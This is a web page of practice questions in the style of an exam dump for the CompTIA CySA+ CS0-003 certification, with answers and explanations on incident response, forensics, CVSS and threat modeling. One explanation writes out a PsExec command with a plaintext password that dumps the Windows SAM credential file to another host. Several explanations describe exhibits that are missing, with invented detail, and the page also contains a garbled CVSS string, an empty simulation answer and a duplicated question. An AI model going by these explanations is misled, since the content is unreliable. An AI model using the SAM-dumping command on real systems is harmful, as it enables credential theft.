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The CompTIA Cybersecurity Analyst (CySA+) Certification Exam certification exam is designed to test a candidate's ability to perform cybersecurity analysis and respond to threats. It is a comprehensive exam that evaluates a candidate's knowledge of cybersecurity concepts, tools, and techniques. CS0-003 exam is composed of multiple-choice questions and performance-based questions. CS0-003 exam is computer-based and can be taken at any Pearson VUE testing center.
CompTIA CySA+ CS0-003 certification exam is an excellent way for cybersecurity professionals to validate their skills and knowledge. It is a globally recognized certification that demonstrates the candidate's ability to identify and mitigate cybersecurity threats. Candidates who pass the exam are well-prepared to pursue a career in cybersecurity or advance their existing skills to the next level.
NEW QUESTION # 80
During a cybersecurity incident, one of the web servers at the perimeter network was affected by ransomware.
Which of the following actions should be performed immediately?
- A. Update the OS to latest version.
- B. Shut down the server.
- C. Reimage the server
- D. Quarantine the server
Answer: D
Explanation:
Explanation
Quarantining the server is the best action to perform immediately, as it isolates the affected server from the rest of the network and prevents the ransomware from spreading to other systems or data. Quarantining the server also preserves the evidence of the ransomware attack, which can be useful for forensic analysis and law enforcement investigation. The other actions are not as urgent as quarantining the server, as they may not stop the ransomware infection, or they may destroy valuable evidence. Shutting down the server may not remove the ransomware, and it may trigger a data deletion mechanism by the ransomware. Reimaging the server may restore its functionality, but it will also erase any traces of the ransomware and make recovery of encrypted data impossible. Updating the OS to the latest version may fix some vulnerabilities, but it will not remove the ransomware or decrypt the data. Official References:
https://www.cisa.gov/stopransomware/ransomware-guide
https://www.cisa.gov/sites/default/files/publications/Ransomware_Executive_One-Pager_and_Technical_D
https://www.cisa.gov/stopransomware/ive-been-hit-ransomware
NEW QUESTION # 81
During an incident response procedure, a security analyst acquired the needed evidence from the hard drive of a compromised machine. Which of the following actions should the analyst perform next to ensure the data integrity of the evidence?
- A. Keep the cloned hard drive in a safe place.
- B. Determine a timeline of events using correct time synchronization.
- C. Generate hashes for each file from the hard drive.
- D. Create a chain of custody document.
Answer: C
Explanation:
Generating hashes for each file from the hard drive is the next action that the analyst should perform to ensure the data integrity of the evidence. Hashing is a technique that produces a unique and fixed-length value for a given input, such as a file or a message. Hashing can help to verify the data integrity of the evidence by comparing the hash values of the original and copied files. If the hash values match, then the evidence has not been altered or corrupted. If the hash values differ, then the evidence may have been tampered with or damaged .
NEW QUESTION # 82
The developers recently deployed new code to three web servers. A daffy automated external device scan report shows server vulnerabilities that are failure items according to PCI DSS.
If the venerability is not valid, the analyst must take the proper steps to get the scan clean.
If the venerability is valid, the analyst must remediate the finding.
After reviewing the information provided in the network diagram, select the STEP 2 tab to complete the simulation by selecting the correct Validation Result and Remediation Action for each server listed using the drop-down options.
INTRUCTIONS:
The simulation includes 2 steps.
Step1:Review the information provided in the network diagram and then move to the STEP 2 tab.
STEP 2: Given the Scenario, determine which remediation action is required to address the vulnerability.
Answer:
Explanation:
NEW QUESTION # 83
There are several reports of sensitive information being disclosed via file sharing services. The company would like to improve its security posture against this threat. Which of the following security controls would best support the company in this scenario?
- A. Improve employee training and awareness
- B. Deploy mobile device management
- C. Implement step-up authentication for administrators
- D. Increase password complexity standards
Answer: A
Explanation:
Explanation
The best security control to implement against sensitive information being disclosed via file sharing services is to improve employee training and awareness. Employee training and awareness can help educate employees on the risks and consequences of using file sharing services for sensitive information, as well as the policies and procedures for handling such information securely and appropriately. Employee training and awareness can also help foster a security culture and encourage employees to report any incidents or violations of information security.
NEW QUESTION # 84
A security analyst is trying to identify possible network addresses from different source networks belonging to the same company and region. Which of the following shell script functions could help achieve the goal?
- A. function w() { a=$(ping -c 1 $1 | awk-F "/" 'END{print $1}') && echo "$1 | $a" }
- B. function y() { dig $(dig -x $1 | grep PTR | tail -n 1 | awk -F ".in-addr" '{print $1}').origin.asn.cymru.com TXT +short }
- C. function x() { b=traceroute -m 40 $1 | awk 'END{print $1}') && echo "$1 | $b" }
- D. function z() { c=$(geoiplookup$1) && echo "$1 | $c" }
Answer: B
Explanation:
The shell script function that could help identify possible network addresses from different source networks belonging to the same company and region is:
function y() { dig $(dig -x $1 | grep PTR | tail -n 1 | awk -F ".in-addr" '{print $1}').origin.asn.cymru.com TXT +short }
This function takes an IP address as an argument and performs two DNS lookups using the dig command. The first lookup uses the -x option to perform a reverse DNS lookup and get the hostname associated with the IP address. The second lookup uses the origin.asn.cymru.com domain to get the autonomous system number (ASN) and other information related to the IP address, such as the country code, registry, or allocation date. The function then prints the IP address and the ASN information, which can help identify any network addresses that belong to the same ASN or region
NEW QUESTION # 85
An incident response analyst notices multiple emails traversing the network that target only the administrators of the company. The email contains a concealed URL that leads to an unknown website in another country.
Which of the following best describes what is happening? (Choose two.)
- A. Domain Name System hijacking
- B. Beaconinq
- C. Address Resolution Protocol poisoning
- D. Obfuscated links
- E. Social engineering attack
- F. On-path attack
Answer: D,E
Explanation:
Explanation
A social engineering attack is a type of cyberattack that relies on manipulating human psychology rather than exploiting technical vulnerabilities. A social engineering attack may involve deceiving, persuading, or coercing users into performing actions that benefit the attacker, such as clicking on malicious links, divulging sensitive information, or granting access to restricted resources. An obfuscated link is a link that has been disguised or altered to hide its true destination or purpose. Obfuscated links are often used by attackers to trick users into visiting malicious websites or downloading malware. In this case, an incident response analyst notices multiple emails traversing the network that target only the administrators of the company. The email contains a concealed URL that leads to an unknown website in another country. This indicates that the analyst is witnessing a social engineering attack using obfuscated links.
NEW QUESTION # 86
A security analyst received a malicious binary file to analyze. Which of the following is the best technique to perform the analysis?
- A. Static analysis
- B. Reverse engineering
- C. Code analysis
- D. Fuzzing
Answer: B
Explanation:
Reverse engineering is a technique that involves analyzing a binary file to understand its structure, functionality, and behavior. Reverse engineering can help security analysts perform malware analysis, vulnerability research, exploit development, and software debugging. Reverse engineering can be done using various tools, such as disassemblers, debuggers, decompilers, and hex editors.
NEW QUESTION # 87
A managed security service provider is having difficulty retaining talent due to an increasing workload caused by a client doubling the number of devices connected to the network. Which of the following would best aid in decreasing the workload without increasing staff?
- A. XDR
- B. EDR
- C. SIEM
- D. SOAR
Answer: D
Explanation:
SOAR stands for Security Orchestration, Automation and Response, which is a set of features that can help security teams manage, prioritize and respond to security incidents more efficiently and effectively. SOAR can help decrease the workload without increasing staff by automating repetitive tasks, streamlining workflows, integrating different tools and platforms, and providing actionable insights and recommendations. SOAR is also one of the current trends that CompTIA CySA+ covers in its exam objectives. Official Reference:
https://www.comptia.org/blog/the-new-comptia-cybersecurity-analyst-your-questions-answered
https://www.comptia.org/certifications/cybersecurity-analyst
https://partners.comptia.org/docs/default-source/resources/comptia-cysa-cs0-002-exam-objectives
NEW QUESTION # 88
While reviewing system logs, a network administrator discovers the following entry:
Which of the following occurred?
- A. An attempt was made to access a remote workstation.
- B. A remote shell failed to open.
- C. The PsExec services failed to execute.
- D. A user was trying to download a password file from a remote system.
Answer: D
Explanation:
The output shows an entry from a system log that indicates a user was trying to download a password file from a remote system using PsExec. PsExec is a command-line tool that allows users to execute processes on remote systems. The entry shows that the user "administrator" tried to run PsExec with the following parameters: \192.168.1.100 -u administrator -p P@ssw0rd -c cmd.exe /c type c:\windows\system32\config\SAM > \192.168.1.101\c$\temp\sam.txt This means that the user tried to connect to the remote system with IP address 192.168.1.100 using the username "administrator" and password "P@ssw0rd", copy cmd.exe to the remote system, and execute it with the command "type c:\windows\system32\config\SAM > \192.168.1.101\c$\temp\sam.txt". This command attempts to read the SAM file, which contains hashed passwords of local users, and write it to a file on another system with IP address 192.168.1.101. Reference: CompTIA Cybersecurity Analyst (CySA+) Certification Exam Objectives (CS0-002), page 8; https://docs.microsoft.com/en-us/sysinternals/downloads/psexec
NEW QUESTION # 89
An incident response analyst notices multiple emails traversing the network that target only the administrators of the company. The email contains a concealed URL that leads to an unknown website in another country. Which of the following best describes what is happening? (Choose two.)
- A. Domain Name System hijacking
- B. Beaconinq
- C. Address Resolution Protocol poisoning
- D. Obfuscated links
- E. Social engineering attack
- F. On-path attack
Answer: D,E
Explanation:
A social engineering attack is a type of cyberattack that relies on manipulating human psychology rather than exploiting technical vulnerabilities. A social engineering attack may involve deceiving, persuading, or coercing users into performing actions that benefit the attacker, such as clicking on malicious links, divulging sensitive information, or granting access to restricted resources. An obfuscated link is a link that has been disguised or altered to hide its true destination or purpose. Obfuscated links are often used by attackers to trick users into visiting malicious websites or downloading malware. In this case, an incident response analyst notices multiple emails traversing the network that target only the administrators of the company. The email contains a concealed URL that leads to an unknown website in another country. This indicates that the analyst is witnessing a social engineering attack using obfuscated links.
NEW QUESTION # 90
Given the following CVSS string-
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/3:U/C:K/I:K/A:H
Which of the following attributes correctly describes this vulnerability?
- A. The vulnerability is network based.
- B. The vulnerability does not affect confidentiality.
- C. A user is required to exploit this vulnerability.
- D. The complexity to exploit the vulnerability is high.
Answer: A
Explanation:
Explanation
The vulnerability is network based is the correct attribute that describes this vulnerability, as it can be inferred from the CVSS string. CVSS stands for Common Vulnerability Scoring System, which is a framework that assigns numerical scores and ratings to vulnerabilities based on their characteristics and severity. The CVSS string consists of several metrics that define different aspects of the vulnerability, such as the attack vector, the attack complexity, the privileges required, the user interaction, the scope, and the impact on confidentiality, integrity and availability. The first metric in the CVSS string is the attack vector (AV), which indicates how the vulnerability can be exploited. The value of AV in this case is N, which stands for network. This means that the vulnerability can be exploited remotely over a network connection, without physical or logical access to the target system. Therefore, the vulnerability is network based. Official References:
https://partners.comptia.org/docs/default-source/resources/comptia-cysa-cs0-002-exam-objectives
https://www.comptia.org/certifications/cybersecurity-analyst
https://packitforwarding.com/index.php/2019/01/10/comptia-cysa-common-vulnerability-scoring-system-c
NEW QUESTION # 91
The vulnerability analyst reviews threat intelligence regarding emerging vulnerabilities affecting workstations that are used within the company:
Which of the following vulnerabilities should the analyst be most concerned about, knowing that end users frequently click on malicious links sent via email?
- A. Vulnerability C
- B. Vulnerability A
- C. Vulnerability B
- D. Vulnerability D
Answer: C
Explanation:
Explanation
Vulnerability B is the vulnerability that the analyst should be most concerned about, knowing that end users frequently click on malicious links sent via email. Vulnerability B is a remote code execution vulnerability in Microsoft Outlook that allows an attacker to run arbitrary code on the target system by sending a specially crafted email message. This vulnerability is very dangerous, as it does not require any user interaction or attachment opening to trigger the exploit. The attacker only needs to send an email to the victim's Outlook account, and the code will execute automatically when Outlook connects to the Exchange server. This vulnerability has a high severity rating of 9.8 out of 10, and it affects all supported versions of Outlook.
Therefore, the analyst should prioritize patching this vulnerability as soon as possible to prevent potential compromise of the workstations.
NEW QUESTION # 92
A security analyst must preserve a system hard drive that was involved in a litigation request Which of the following is the best method to ensure the data on the device is not modified?
- A. Protect the device with a complex password.
- B. Perform a memory scan dump to collect residual data.
- C. Generate a hash value and make a backup image.
- D. Encrypt the device to ensure confidentiality of the data.
Answer: C
Explanation:
Explanation
Generating a hash value and making a backup image is the best method to ensure the data on the device is not modified, as it creates a verifiable copy of the original data that can be used for forensic analysis. Encrypting the device, protecting it with a password, or performing a memory scan dump do not prevent the data from being altered or deleted. Verified References: CompTIA CySA+ CS0-002 Certification Study Guide, page
3291
NEW QUESTION # 93
A company is in the process of implementing a vulnerability management program, and there are concerns about granting the security team access to sensitive data. Which of the following scanning methods can be implemented to reduce the access to systems while providing the most accurate vulnerability scan results?
- A. Credentialed network scanning
- B. Dynamic scanning
- C. Passive scanning
- D. Agent-based scanning
Answer: D
Explanation:
Explanation
Agent-based scanning is a method that involves installing software agents on the target systems or networks that can perform local scans and report the results to a central server or console. Agent-based scanning can reduce the access to systems, as the agents do not require any credentials or permissions to scan the local system or network. Agent-based scanning can also provide the most accurate vulnerability scan results, as the agents can scan continuously or on-demand, regardless of the system or network status or location.
NEW QUESTION # 94
A company's user accounts have been compromised. Users are also reporting that the company's internal portal is sometimes only accessible through HTTP, other times; it is accessible through HTTPS. Which of the following most likely describes the observed activity?
- A. An error was caused by BGP due to new rules applied over the company's internal routers
- B. An on-path attack is being performed by someone with internal access that forces users into port 80
- C. The web server cannot handle an increasing amount of HTTPS requests so it forwards users to port 80
- D. There is an issue with the SSL certificate causinq port 443 to become unavailable for HTTPS access
Answer: B
Explanation:
Explanation
An on-path attack is a type of man-in-the-middle attack where an attacker intercepts and modifies network traffic between two parties. In this case, someone with internal access may be performing an on-path attack by forcing users into port 80, which is used for HTTP communication, instead of port 443, which is used for HTTPS communication. This would allow the attacker to compromise the user accounts and access the company's internal portal.
NEW QUESTION # 95
A cybersecurity team has witnessed numerous vulnerability events recently that have affected operating systems. The team decides to implement host-based IPS, firewalls, and two-factor authentication. Which of the following
does this most likely describe?
- A. System hardening
- B. Continuous authorization
- C. Secure access service edge
- D. Hybrid network architecture
Answer: A
Explanation:
The correct answer is
A) System hardening.
System hardening is the process of securing a system by reducing its attack surface, applying patches and updates, configuring security settings, and implementing security controls. System hardening can help prevent or mitigate vulnerability events that may affect operating systems. Host-based IPS, firewalls, and two-factor authentication are examples of security controls that can be applied to harden a system1.
The other options are not the best descriptions of the scenario. A hybrid network architecture (B) is a network design that combines on-premises and cloud-based resources, which may or may not involve system hardening. Continuous authorization is a security approach that monitors and validates the security posture of a system on an ongoing basis, which is different from system hardening. Secure access service edge (D) is a network architecture that delivers cloud-based security services to remote users and devices, which is also different from system hardening.
NEW QUESTION # 96
Which of the following items should be included in a vulnerability scan report? (Choose two.)
- A. Lessons learned
- B. Service-level agreement
- C. Risk score
- D. Affected hosts
- E. Education plan
- F. Playbook
Answer: C,D
Explanation:
A vulnerability scan report should include information about the affected hosts, such as their IP addresses, hostnames, operating systems, and services. It should also include a risk score for each vulnerability, which indicates the severity and potential impact of the vulnerability on the host and the organization. Official Reference: https://www.first.org/cvss/
NEW QUESTION # 97
Which of the following threat-modeling procedures is in the OWASP Web Security Testing Guide?
- A. Compliance checks
- B. Decomposing the application
- C. Security by design
- D. Review Of security requirements
Answer: B
Explanation:
Explanation
The OWASP Web Security Testing Guide (WSTG) includes a section on threat modeling, which is a structured approach to identify, quantify, and address the security risks associated with an application. The first step in the threat modeling process is decomposing the application, which involves creating use cases, identifying entry points, assets, trust levels, and data flow diagrams for the application. This helps to understand the application and how it interacts with external entities, as well as to identify potential threats and vulnerabilities1. The other options are not part of the OWASP WSTG threat modeling process.
NEW QUESTION # 98
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CompTIA CySA+ certification is ideal for cybersecurity analysts who want to advance their careers in this field. CompTIA Cybersecurity Analyst (CySA+) Certification Exam certification is recognized by many employers as a valuable qualification and can lead to better job opportunities and higher salaries. Additionally, passing the CompTIA CySA+ certification exam can also help candidates to demonstrate their expertise in this field and increase their credibility among their peers and clients.
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